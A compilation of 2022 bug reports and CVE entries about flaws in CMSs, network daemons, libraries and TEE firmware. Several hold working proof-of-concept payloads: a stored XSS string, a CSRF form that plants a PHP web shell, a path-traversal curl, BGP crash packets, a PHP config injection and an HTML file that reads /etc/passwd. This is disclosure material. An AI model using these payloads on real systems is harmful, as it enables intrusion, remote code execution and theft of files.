] | Stored XSS, also known as persistent XSS, is more damaging than non-persistent XSS. It occurs when a malicious script is injected directly into a vulnerable web application.
Step To Reproduce:
**Vulnerable cms URL:** https://demo.cms.feehi.com/
**Vulnerable Parameter:** Comment_nickname:
1-Sing-up https://demo.cms.feehi.com/
2-Inject The XSS Payload in **Username: "><script>alert(232)</script>** fill all required fields and click the SignUp button
3-Go to any article then XSS will trigger.
**Impact:**
An XSS attack allows an attacker to execute arbitrary JavaScript in the context of the attacked website and the attacked user. This can be abused to steal session cookies, perform requests in the name of the victim, or for phishing attacks.

] | PICOC Suffers from a Denial of Service (CWE476) vulnerability as a result of a Null Pointer Dereference. Any project or library that uses Picoc also suffers from this issue. An example of this would be picoc-js (https://www.npmjs.com/package/picoc-js). As a result PICOC will immediately segfault.
## Reproduction Steps
1. Create a file to be executed by the PICOC interpreter
```
$ touch vulncode
```
2. Add the following code to the file:
```
printf("Before Crash\n");
**4%;
printf("This code won't execute because of the crash\n");
```
3. Execute PICOC against the file:
```
$ ./picoc -s vulncode
```
4. You will receive a segfault and the program will crash. This is a result of a null pointer dereference that is not caught or handled by the interpreter. The vulnerable line of code can be seen below:
```
**4%;
```
## Solution
Adding a few if statements that verify the pointer is not NULL before usage will solve this problem. You can find more information about this here:

I was running my fuzzer in the background when I discovered a double free in the SimpleNetwork TCPServer.
## Impact
Triggering the double free will allow client to crash any SimpleNetwork TCP server remotely. In other situations, double free vulnerabilities can cause undefined behavior and potentially code execution in the right circumstances.

While I was using the tool I had some fuzz tests running in the background and I think there might be an out of bounds write bug in the webp to png converter. I compiled the tool from source using the default instructions/Makefile. I can't exactly figure out from the backtrace where the out of bounds write is happening in png2webp.c, but a rough guess would be somewhere around:

### Overview of the Issue
I was just passing through the code and noticed that the GitLab webhook event validator code does not use a constant time comparison function to validate the webhook secret. In theory it would be possible to use a timing attack to recover this secret as an attacker and then forge webhook events. GitHub and Bitbucket event validator code is not vulnerable because they make use of HMACs as far as I can see.
The risk of this being exploited is probably fairly low so I think it's safe to report publicly like this.

CVE-2022-31183 | 2022-08-01T20:15:08.410 | fs2 is a compositional, streaming I/O library for Scala. When establishing a server-mode `TLSSocket` using `fs2-io` on Node.js, the parameter `requestCert = true` is ignored, peer certificate verification is skipped, and the connection proceeds. The vulnerability is limited to: 1. `fs2-io` running on Node.js. The JVM TLS implementation is completely independent. 2. `TLSSocket`s in server-mode. Client-mode `TLSSocket`s are implemented via a different API. 3. mTLS as enabled via `requestCert = true` in `TLSParameters`. The default setting is `false` for server-mode `TLSSocket`s. It was introduced with the initial Node.js implementation of fs2-io in 3.1.0. A patch is released in v3.2.11. The requestCert = true parameter is respected and the peer certificate is verified. If verification fails, a SSLException is raised. If using an unpatched version on Node.js, do not use a server-mode TLSSocket with requestCert = true to establish a mTLS connection. | {

### Description of the problem
What is the correct, non-deprecated way to use the `new tls.TLSSocket(...)` constructor to establish a secure connection? Context: https://github.com/typelevel/fs2/security/advisories/GHSA-2cpx-6pqp-wf35
According to two unmerged docs PRs, when directly calling `new tls.TLSSocket(...)` it is the user's responsibility to validate peer certificates and identity.
In https://github.com/nodejs/node/pull/10846 it says:
> ***Warning***: When directly constructing a `tls.TLSSocket` instead of using
[`tls.connect()`][] it is the caller's responsibility to:
> - manage the lifetime of the the underlying socket, including connecting it;
> - validate the peer certificate and identity, see the [`'secure'`][] event.
> Before using the connection, the user *must* make the following
checks or the connection should be considered completely insecure:
>
> 1. Verify that the peer certificate is valid, see [`ssl.verifyError()`][].
> 2. Verify that the peer certificate is for the expected host, see
[`tls.checkServerIdentity()`][] and [`tls.TLSSocket.getPeerCertificate()`][].
In https://github.com/nodejs/node/pull/23915 it says:
> It is important to remember, however,
that it is the caller's responsibility to manage the lifecycle of the provided
`net.Socket`, including establishing the connection and validating peer
certificates and identity. See the [`'secure'`][] event.
And includes an example:
```javascript
tlsSocket.on('secure', function() {
const err = this.verifyError() ||
tls.checkServerIdentity(hostname, this.getPeerCertificate());
if (err)
this.destroy(err);
});
```
Both PRs demonstrate how to do this validation, but require use of:
1. The `'secure'` event. In the current Node.js documentation, the only mention of `'secure'` is under the deprecated `tls.SecurePair`, and is itself deprecated. It is also not clear that the `'secure'` event is also emitted on `tls.TLSSocket`.
https://nodejs.org/docs/latest-v18.x/api/tls.html#event-secure
2. `tlsSocket.ssl.verifyError()`, which does not appear at all in the current documentation. Furthermore, according to https://github.com/nodejs/node/pull/840#issuecomment-74343250 `tlsSocket.ssl` is a "legacy property".
Note that the described validation steps appear to be consistent with internal use
https://github.com/nodejs/node/blob/5fbf33ef8641cf57bfbb7f0c87f83447c44266b8/lib/_tls_wrap.js#L1106

This leaves me with two concerns:
1. The current documentation does not indicate that using `new tls.TLSSocket(...)` by itself does not result in a secure connection.
2. As far as I can tell it is impossible to use `new tls.TLSSocket(...)` to establish a secure connection without relying on APIs that are undocumented, deprecated, and/or legacy. | How to use `new tls.TLSSocket(...)` to establish a secure connection? | https://api.github.com/repos/nodejs/node/issues/43994/comments | 1 | 2022-07-26T04:15:58Z | 2022-07-26T19:51:57Z | https://github.com/nodejs/node/issues/43994 | 1,317,672,883 | 43,994 | 3,921 |

] | **Describe the bug**
The sanic static directory code checks for `../` as a substring of paths, but it also unquotes the path, which allows a malicious user to escape outside the static folder by using `..%2F`, where `%2F` is the URL-escaped version of `/`.
**Code snippet**
First, a basic server called `main.py`.
```python
from sanic import Sanic
app = Sanic(name="sanic_test")
app.static('/static', './static_files')
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
```
Then create a static file folder.
```
mkdir static_files
cat "hello world" > static_files/a.txt
```
Now run the server with `python3 main.py` and:
```sh-session
$ curl http://localhost:8000/static/a.txt
hello world
$ curl http://localhost:8000/static/..%2Fstatic_files/a.txt
hello world
```
This is very surprising behavior. From a security perspective it is not critical because sanic checks that the final resolved path has a prefix with the static directory, but this allows an attacker to expose information like the name of the static file folder.
Another case where this is dangerous is if you have a middleware that only allows a user to see certain subpaths like `/static/public/**` of the `/static/**` routes without authentication. Then, even without authentication, a user could visit a path like `/static/public/..%2F/private/secret_content.txt` and retrieve the contents of `/static/private/secret_content.txt`.
**Expected behavior**
Sanic should not allow parent directory traversal in static folders.

**To Reproduce**
<!--
Describe the steps to reproduce the behavior.
Be as descriptive as possible.
For example:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
-->
1. git clone the frr git version with commit: a9b4458f6107af926df2c7ba20d0fd873bf6e99e
2. Compile it with `-fsanitize=address` flags.
3. Run bgpd with a simple bgpd.conf as follow: `/path/to/bgpd -f /path/to/bgpd.conf`
```
! -*- bgp -*-

4. Write a loop to sequencely send the packets below until it crash:
```
bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'
```
Because of the race condition, this might not be always cause the bgpd crash.
**Expected behavior**
<!--
Write here a clear and concise description of what you expected to happen when
using the reproduction steps you provided above
-->
The bgpd daemon program won't crash.

] | ### Description
There is a bug in the instrument parsing code in `LoaderXM::load` that can cause a stack buffer overflow when the program is supplied with a malformed XM module file. This can be abused by an attacker to corrupt the stack, control program execution flow and gain code execution.

### Analysis
In https://github.com/milkytracker/MilkyTracker/blob/master/src/milkyplay/LoaderXM.cpp#L481
```c
if (instr[y].size < 29)
{
mp_ubyte buffer[29];
memset(buffer, 0, sizeof(buffer));
f.read(buffer, 1, instr[y].size - 4);
memcpy(instr[y].name, buffer, 22);
instr[y].type = buffer[22];
instr[y].samp = LittleEndian::GET_WORD(buffer + 23);
}
```
During loading an instrument header, there is a check that `instr[y].size < 29`. Some lines later, `instr[y].size - 4` is used as length for `f.read()`. If `size`, an unsigned int directly controllable by the file format, is set to 0, it will underflow (and become max unsigned int - 3). Then, the program will read the remainder of the file file to `buffer` and corrupt the stack with arbitrary attacker-controlled data.
### Fix
A quick and dirty fix would be to change the `if` condition to `instr[y].size - 4 < 29`. | LoaderXM::load instrument size int underflow causes stack buffer overflow | https://api.github.com/repos/milkytracker/MilkyTracker/issues/275/comments | 2 | 2022-06-19T00:31:07Z | 2022-08-04T12:29:29Z | https://github.com/milkytracker/MilkyTracker/issues/275 | 1,275,917,885 | 275 | 3,927 |

Vulnerability Type: Cross-Site Request Forgery
Severity: High
Estimated CVSS Score: 8.3 (https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H)
Vulnerable Page: u5admin/savepage.php
Impacted version: At least 8.3.5 (but I think <= 10.1.13 are vulnerable too because of commit : "Initital import of version 8.3.5")
**Description**
The savepage.php page is vulnerable to a CSRF flaw that can lead to an RCE when using the ability to write PHP code within the CMS pages, if the victim/targeted user has the right privileges (ie. admin).
**Proof of Concept**
1. The attacker craft the following malicious pages:
```html
<html>
<body>
<form action="https://u5cmsvulnerable.com/u5admin/savepage.php" method="POST">
<input type="hidden" name="page" value="csrftorce" />
<input type="hidden" name="ishomepage" value="0" />
<input type="hidden" name="content_e" value="[h:] <?php if(isset($_GET['cmd']))     {         system($_GET['cmd']);     } ?> [:h]" />
<input type="hidden" name="content_d" value="TODO" />
<input type="hidden" name="content_f" value="TODO" />
<input type="hidden" name="title_e" value="" />
<input type="hidden" name="title_d" value="" />
<input type="hidden" name="title_f" value="" />
<input type="hidden" name="desc_e" value="" />
<input type="hidden" name="desc_d" value="" />
<input type="hidden" name="desc_f" value="" />
<input type="hidden" name="key_e" value="" />
<input type="hidden" name="key_d" value="" />
<input type="hidden" name="key_f" value="" />
<input type="hidden" name="logins" value="" />
<input type="hidden" name="hidden" value="0" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
2. The victim administrator click on the link and the autosubmit form is sent, the malicious pages is created with the following content (en lang here):
```
[h:]
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
[:h]
```
4. The attacker can now have RCE (here a PHP webshell) on the webserver:
**Remediation**
u5cms should implement token protection against CSRF attack (https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) | CSRF can lead to RCE if admin is targeted | https://api.github.com/repos/u5cms/u5cms/issues/51/comments | 0 | 2022-06-27T22:33:19Z | 2023-11-24T09:12:41Z | https://github.com/u5cms/u5cms/issues/51 | 1,286,515,155 | 51 | 3,929 |

ODBC Driver assertion failed
**To Reproduce**
command to start odbc client:
```sh
apt install unixodbc
# config MonetDB in $HOME/.odbc.ini
...
isql monetdb -v
```
Input the following statements:
```sql
SELECT avg(42) over (order by row_number() over ());
SELECT 1;
```
It will end up with an assertion failure:

] | Hi :)
When I was decompiling the Lua script on openwrt, I found a `segmentation fault` error. I try to debug luadec to find the location of bug. Size of some array variables in function structure is 255. However, these variables were accessed out of bounds in decompiling.
```c
#define MAXARG_A ((1<<SIZE_A)-1) // 255
/* Function structure in /home/lys/Tools/luadec/luadec/decompile.h*/
/* These act as the VM registers */
char* R[MAXARG_A];
/* These store the priority for the operation that stored the value in each
register */
int Rprio[MAXARG_A];
/* Boolean values indicating if register holds a table */
int Rtabl[MAXARG_A];
/* Registers standing for local variables. */
int Rvar[MAXARG_A];
/* Pending code to be flushed */
int Rpend[MAXARG_A];
/* Registers for internal use */
int Rinternal[MAXARG_A];
/* Registers used in call returns */
int Rcall[MAXARG_A];
```
Below is the log.
```shell

There is a buffer overflow vulnerability in the handleConfigCmd function of the SerialConsole.cpp file. When cmdString == String("FILEEXT")), the newString is copied to fileNameExt without checking the length, and overflow may occur.
```c
void SerialConsole::handleConfigCmd()
{
int i;
int newValue;
char *newString;
bool writeEEPROM = false;
bool writeDigEE = false;
char *dataTok;
if (ptrBuffer < 6)
return; //4 digit command, =, value is at least 6 characters
cmdBuffer[ptrBuffer] = 0; //make sure to null terminate
String cmdString = String();
unsigned char whichEntry = '0';
i = 0;
while (cmdBuffer[i] != '=' && i < ptrBuffer) {
cmdString.concat(String(cmdBuffer[i++]));
}
i++; //skip the =
if (i >= ptrBuffer) {
Logger::console("Command needs a value..ie TORQ=3000");
Logger::console("");
return; //or, we could use this to display the parameter instead of setting
}
newValue = strtol((char *) (cmdBuffer + i), NULL, 0); //try to turn the string into a number
newString = (char *)(cmdBuffer + i); //leave it as a string
if (cmdString == String("CAN0EN")) {
......
} else if (cmdString == String("FILEBASE")) {
Logger::console("Setting File Base Name to %s", newString);
strcpy((char *)settings.fileNameBase, newString);
writeEEPROM = true;
} else if (cmdString == String("FILEEXT")) {
Logger::console("Setting File Extension to %s", newString);
strcpy((char *)settings.fileNameExt, newString);
writeEEPROM = true;

I think it's better to limit the size of `res`, otherwise it may cause the program to crash, such as performing "cat /dev/random | od -x", which maybe unlikely in reality.
```
char *execute_command(char *command) {
FILE *fp;
char *res = calloc(4096, sizeof(char));
char buf[1024];
fp = popen(command, "r");
if (fp == NULL) {
perror("Failed to run command");
return NULL;
}
while (fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
// printf("RESULT OF COMMAND: %s\n", res);
pclose(fp);
return res;
}

CVE-2022-31119 | 2022-08-04T18:15:09.557 | Nextcloud Mail is an email application for the nextcloud personal cloud product. Affected versions of Nextcloud mail would log user passwords to disk in the event of a misconfiguration. Should an attacker gain access to the logs complete access to affected accounts would be obtainable. It is recommended that the Nextcloud Mail is upgraded to 1.12.1. Operators should inspect their logs and remove passwords which have been logged. There are no workarounds to prevent logging in the event of a misconfiguration. | {

] | ### Steps to reproduce
1. Install mail app
2. configure Mail app, **but** make a fault (e.g. wrong IMAP Server Port) so that the setup is not completed
3. look at nextcloud.log and see: password in PLAINTEXT
### Expected behaviour
Do not log in any circumstances (at least not in Log-Level 2/3) ANY passwords to disk / log file. Although the attack surface might be small (need to have access to logfile local on the NC instance), dumping passwords into logfiles that may be written somewhere else (e.g. rsyslog) is no good.
### Actual behaviour
PLAINTEXT password written to logfile

] | **Affected components：**
affected source code file: /tee/lib/libutee/tee_api_objects.c, affected functions: TEE_PopulateTransientObject and __utee_from_attr
**Attack vector(s)**
To exploit the vulnerability, invoke the function TEE_PopulateTransientObject and pass a large number of the parameter "attrCount"
**Suggested description of the vulnerability for use in the CVE**
Memory leak in TEE_PopulateTransientObject and __utee_from_attr functions in Samsung Electronics mTower v0.3.0(and earlier) allows a trusted application to trigger denial of service and information disclosure via invoking the function TEE_PopulateTransientObject with a large number of the parameter "attrCount".
**Reference(s)**
https://github.com/Samsung/mTower
https://github.com/Samsung/mTower/blob/18f4b592a8a973ce5972f4e2658ea0f6e3686284/tee/lib/libutee/tee_api_objects.c#L283
**Additional information**
The TEE_PopulateTransientObject function takes a number "attrCount" and create an array "ua". This value is passed by TA, and TEE_PopulateTransientObject does not check its size. Then it is passed to __utee_from_attr. The __utee_from_attr function tries to copy data from "attrs" to "ua". The problem appears in the assignments in the for loop. If the attr_count is too large, "ua" will overlap the memory region of other TAs' (tampering data such as global variables, or causing TEE crash and triggers denial of service because of illegal address dereference).

CVE-2022-37434 | 2022-08-05T07:15:07.240 | zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference). | {

Using zlib v1.2.12 [patched](https://github.com/madler/zlib/commit/eff308af425b67093bab25f80f1ae950166bece1) for [CVE-2022-37434](https://nvd.nist.gov/vuln/detail/CVE-2022-37434):

I've also seen this test failure accompanied by a segfault, but this only happens within a sandbox (which uses the Linux kernel's namespacing feature):
```
test 0224...core dumped
FAILED
```
### I expected the following
For the test to succeed.
### curl/libcurl version
7.84.0
### operating system
```
Linux 5.15.43 #1-NixOS SMP Wed May 25 12:42:07 UTC 2022 aarch64 GNU/Linux
```
This very much could be a zlib issue since the patch in question hasn't made it into a release yet, but I'm going to leave this open just in case it's not; feel free to close.

affected source code file: /tee/lib/libutee/tee_api.c, affected functions: TEE_Malloc
**Attack vector(s)**
To exploit the vulnerability, invoke the function TEE_Malloc and pass a large number to the parameter "len".
**Suggested description of the vulnerability for use in the CVE**
Memory Allocation with Excessive Size Value vulnerablity in TEE_Malloc function in Samsung Electronics mTower v0.3.0 (and earlier) allows a trusted application to trigger a Denial of Service (DoS) via invoking the function TEE_Malloc with an excessive number of the parameter "len".

**Additional information**
The TEE_Malloc does not check the size of chunk to malloc. Executing the statement "tee_user_mem_alloc" with an excessive size value on a real IoT hardware (such as Numaker-PFM-M2351) will crash the trusted execution environment kernel and cause a Denial of Service (DoS).

2. Next, I want to inject php code by modifying these settings.
From the config.php file we found that the modified configuration will be written that.
3. The format of configuration writing is as follows.
```
define('WEBNAME', 'taoCMS演示');
```
4. So according to the grammar rules of php, I made the following request.
```
payload: taoCMS演示');phpinfo();//
```
5. But I found that after executing the request, the code of the config.php file will have a syntax error.
```
define('WEBNAME', 'taoCMS演示'');phpinfo();//');
```
6. when i view the taocms/include/Config.php, When the configuration is modified, the configuration is checked for security.
7. Follow taocms/include/Base.php, in the safeword function.
The core point of discovery is that if the database type is Sqlite, a single (') will be replaced by a pair ('').
8. After knowing all this, I constructed a payload, add a (\) to escape ('). Note that the database type is Sqlite.
```
payload: taoCMS演示\');phpinfo();//
```
9. After executing the request this time, I found that I successfully modified the configuration, and the code syntax check passed.
10. When I access Config.php everything works fine and the php code runs correctly.

] | **wkhtmltopdf version(s) affected**:
all version ( <=0.12.5 )
**OS information**
All supported OS
**Description**
Because the same-origin policy is not strict enough, the html files under the `file` domain can read any files.
**How to reproduce**
Create an HTML file named `111.html`
The file contents are as follows.
```
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body></html>
```
Convert HTML to PDF:
```
wkhtmltopdf /tmp/111.html /tmp/result.pdf
```
**Expected behavior**
View the file named `result.pdf` contents, you will see the contents of the file `/etc/passwd`!
**Possible Solution**
Make a strict same-origin policy or set a security option, to prevent HTML documents under the `file` domain from reading any files.
